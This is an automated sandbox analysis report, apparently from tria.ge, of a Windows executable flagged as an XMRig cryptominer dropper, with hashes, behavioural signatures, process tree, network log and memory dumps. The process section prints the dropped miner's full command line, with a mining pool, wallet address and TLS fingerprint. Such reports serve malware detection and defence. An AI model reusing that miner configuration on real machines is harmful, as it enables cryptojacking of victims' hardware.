Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

main - Copy (10).exe

windows10-2004-x64

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (2).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

main - Copy (3).exe

windows10-2004-x64

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (4).exe

windows10-2004-x64

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (5).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (6).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (7).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (8).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (9).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy.exe

windows10-2004-x64

1

main.exe

windows10-2004-x64

10

Resubmissions

06/07/2024, 19:03 UTC

240706-xqksaazhrm 10

21/06/2024, 07:08 UTC

240621-hyl8razgpc 10

16/06/2024, 18:48 UTC

240616-xf5ppswgmq 10

16/06/2024, 18:34 UTC

240616-w759wasbqf 10

16/06/2024, 18:21 UTC

240616-wzje5swajj 10

16/06/2024, 18:08 UTC

240616-wqxams1ekf 10

16/06/2024, 17:54 UTC

240616-whbzqsvcrn 10

16/06/2024, 17:41 UTC

240616-v9q3aszhkf 10

16/06/2024, 17:28 UTC

240616-v1237szgpc 10

Analysis

  • max time kernel
    1792s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/01/2024, 22:24 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    main - Copy (9) - Copy.exe

  • Size

    6.9MB

  • MD5

    22c978ffaefef3389bf29068b9621661

  • SHA1

    5671972c1d70826fb85dced4c83c700dd282ea21

  • SHA256

    e6ee8e9b38e10a92a89e61b8655ca4fedcc381fd93cb36f43fe323132923dfcf

  • SHA512

    8a280cb782f0afab171d2e7955b75362e98cefd449d382004ef2568c2c230cd633a754b1dd5f0dc5e17407819e4dceb5b0cbb2647e279a6ec674b8d9484be26a

  • SSDEEP

    98304:7b5Ak7khMiyw0VREqfnle5EEPbxVhCQHSIMf:5LUMiywZqshDxaQHh

Score
10/10
xmrigminer

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 45 IoCs
    miner
  • Executes dropped EXE 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3848
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3896
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:4388
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2016

    Network

    • flag-us
      DNS
      23.177.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      23.177.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      208.194.73.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      208.194.73.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      g.bing.com
      Remote address:
      8.8.8.8:53
      Request
      g.bing.com
      IN A
      Response
      g.bing.com
      IN CNAME
      g-bing-com.a-0001.a-msedge.net
      g-bing-com.a-0001.a-msedge.net
      IN CNAME
      dual-a-0001.a-msedge.net
      dual-a-0001.a-msedge.net
      IN A
      204.79.197.200
      dual-a-0001.a-msedge.net
      IN A
      13.107.21.200
    • flag-us
      DNS
      180.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      180.178.17.96.in-addr.arpa
      IN PTR
      Response
      180.178.17.96.in-addr.arpa
      IN PTR
      a96-17-178-180deploystaticakamaitechnologiescom
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      github.com
      main - Copy (9) - Copy.exe
      Remote address:
      8.8.8.8:53
      Request
      github.com
      IN A
      Response
      github.com
      IN A
      140.82.121.4
    • flag-us
      DNS
      github.com
      main - Copy (9) - Copy.exe
      Remote address:
      8.8.8.8:53
      Request
      github.com
      IN A
    • flag-us
      DNS
      objects.githubusercontent.com
      main - Copy (9) - Copy.exe
      Remote address:
      8.8.8.8:53
      Request
      objects.githubusercontent.com
      IN A
      Response
      objects.githubusercontent.com
      IN A
      185.199.110.133
      objects.githubusercontent.com
      IN A
      185.199.111.133
      objects.githubusercontent.com
      IN A
      185.199.109.133
      objects.githubusercontent.com
      IN A
      185.199.108.133
    • flag-us
      DNS
      4.121.82.140.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      4.121.82.140.in-addr.arpa
      IN PTR
      Response
      4.121.82.140.in-addr.arpa
      IN PTR
      lb-140-82-121-4-fragithubcom
    • flag-us
      DNS
      4.121.82.140.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      4.121.82.140.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      133.110.199.185.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      133.110.199.185.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      194.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      194.178.17.96.in-addr.arpa
      IN PTR
      Response
      194.178.17.96.in-addr.arpa
      IN PTR
      a96-17-178-194deploystaticakamaitechnologiescom
    • flag-us
      DNS
      43.229.111.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      43.229.111.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      104.241.123.92.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      104.241.123.92.in-addr.arpa
      IN PTR
      Response
      104.241.123.92.in-addr.arpa
      IN PTR
      a92-123-241-104deploystaticakamaitechnologiescom
    • flag-us
      DNS
      104.241.123.92.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      104.241.123.92.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      119.110.54.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      119.110.54.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      217.135.221.88.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      217.135.221.88.in-addr.arpa
      IN PTR
      Response
      217.135.221.88.in-addr.arpa
      IN PTR
      a88-221-135-217deploystaticakamaitechnologiescom
    • flag-us
      DNS
      174.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      174.178.17.96.in-addr.arpa
      IN PTR
      Response
      174.178.17.96.in-addr.arpa
      IN PTR
      a96-17-178-174deploystaticakamaitechnologiescom
    • flag-us
      DNS
      174.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      174.178.17.96.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      174.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      174.178.17.96.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      174.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      174.178.17.96.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      32.134.221.88.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      32.134.221.88.in-addr.arpa
      IN PTR
      Response
      32.134.221.88.in-addr.arpa
      IN PTR
      a88-221-134-32deploystaticakamaitechnologiescom
    • flag-us
      DNS
      123.10.44.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      123.10.44.20.in-addr.arpa
      IN PTR
      Response
    • 204.79.197.200:443
      g.bing.com
      tls
      896 B
       7.6kB
       11
      8
    • 140.82.121.4:443
      github.com
      tls
      main - Copy (9) - Copy.exe
      1.5kB
       8.6kB
       15
      13
    • 185.199.110.133:443
      objects.githubusercontent.com
      tls
      main - Copy (9) - Copy.exe
      44.6kB
       1.1MB
       770
      820
    • 52.142.223.178:80
      104 B
       2
    • 45.76.89.70:80
      tls, http
      xmrig.exe
      20.7kB
       61.1kB
       190
      151
    • 20.12.23.50:443
    • 40.127.240.158:443
    • 51.104.136.2:443
    • 51.104.136.2:443
    • 20.231.121.79:80
    • 96.16.110.41:443
    • 192.229.221.95:80
    • 20.12.23.50:443
    • 20.82.154.241:443
    • 20.12.23.50:443
    • 20.12.23.50:443
    • 20.12.23.50:443
    • 20.12.23.50:443
    • 88.221.134.18:80
    • 88.221.135.217:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 88.221.135.217:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 96.17.178.176:80
    • 88.221.135.217:80
    • 96.17.178.174:80
    • 88.221.134.32:80
    • 88.221.134.32:80
    • 88.221.135.217:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 88.221.134.18:80
    • 88.221.134.18:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 88.221.134.18:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.16.110.114:80
    • 96.17.178.174:80
    • 52.142.223.178:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 96.17.178.174:80
    • 8.8.8.8:53
      23.177.190.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      23.177.190.20.in-addr.arpa

    • 8.8.8.8:53
      208.194.73.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      208.194.73.20.in-addr.arpa

    • 8.8.8.8:53
      g.bing.com
      dns
      56 B
       158 B
       1
      1

      DNS Request

      g.bing.com

      DNS Response

      204.79.197.200
      13.107.21.200

    • 8.8.8.8:53
      180.178.17.96.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      180.178.17.96.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
       144 B
       1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      github.com
      dns
      main - Copy (9) - Copy.exe
      112 B
       72 B
       2
      1

      DNS Request

      github.com

      DNS Request

      github.com

      DNS Response

      140.82.121.4

    • 8.8.8.8:53
      objects.githubusercontent.com
      dns
      main - Copy (9) - Copy.exe
      75 B
       139 B
       1
      1

      DNS Request

      objects.githubusercontent.com

      DNS Response

      185.199.110.133
      185.199.111.133
      185.199.109.133
      185.199.108.133

    • 8.8.8.8:53
      4.121.82.140.in-addr.arpa
      dns
      142 B
       115 B
       2
      1

      DNS Request

      4.121.82.140.in-addr.arpa

      DNS Request

      4.121.82.140.in-addr.arpa

    • 8.8.8.8:53
      133.110.199.185.in-addr.arpa
      dns
      74 B
       1

      DNS Request

      133.110.199.185.in-addr.arpa

    • 8.8.8.8:53
      194.178.17.96.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      194.178.17.96.in-addr.arpa

    • 8.8.8.8:53
      43.229.111.52.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      43.229.111.52.in-addr.arpa

    • 8.8.8.8:53
      104.241.123.92.in-addr.arpa
      dns
      146 B
       139 B
       2
      1

      DNS Request

      104.241.123.92.in-addr.arpa

      DNS Request

      104.241.123.92.in-addr.arpa

    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
      119.110.54.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      119.110.54.20.in-addr.arpa

    • 8.8.8.8:53
      217.135.221.88.in-addr.arpa
      dns
      73 B
       139 B
       1
      1

      DNS Request

      217.135.221.88.in-addr.arpa

    • 8.8.8.8:53
      174.178.17.96.in-addr.arpa
      dns
      288 B
       137 B
       4
      1

      DNS Request

      174.178.17.96.in-addr.arpa

      DNS Request

      174.178.17.96.in-addr.arpa

      DNS Request

      174.178.17.96.in-addr.arpa

      DNS Request

      174.178.17.96.in-addr.arpa

    • 8.8.8.8:53
      32.134.221.88.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      32.134.221.88.in-addr.arpa

    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
    • 8.8.8.8:53
      123.10.44.20.in-addr.arpa
      dns
      71 B
       145 B
       1
      1

      DNS Request

      123.10.44.20.in-addr.arpa

    • 8.8.8.8:53
    • 8.8.8.8:53

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2016-65-0x0000022E90A40000-0x0000022E90A50000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2016-81-0x0000022E90B40000-0x0000022E90B50000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3896-14-0x000001F9D2CC0000-0x000001F9D2CE0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3896-15-0x000001F9D44D0000-0x000001F9D44F0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3896-16-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-19-0x000001F9D44F0000-0x000001F9D4510000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3896-18-0x000001F9D4510000-0x000001F9D4530000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3896-17-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-20-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-21-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-22-0x000001F9D4510000-0x000001F9D4530000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3896-23-0x000001F9D44F0000-0x000001F9D4510000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3896-24-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-25-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-26-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-27-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-28-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-29-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-30-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-31-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-32-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-33-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-34-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-35-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-36-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-37-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-38-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-39-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-40-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-41-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-42-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-43-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-44-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-45-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-46-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-47-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-48-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-49-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-50-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-51-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-52-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-53-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-54-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-55-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-56-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-57-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-58-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-59-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-60-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-61-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-62-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-63-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    • memory/3896-64-0x00007FF6E43B0000-0x00007FF6E4EB3000-memory.dmp

      Filesize

      11.0MB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.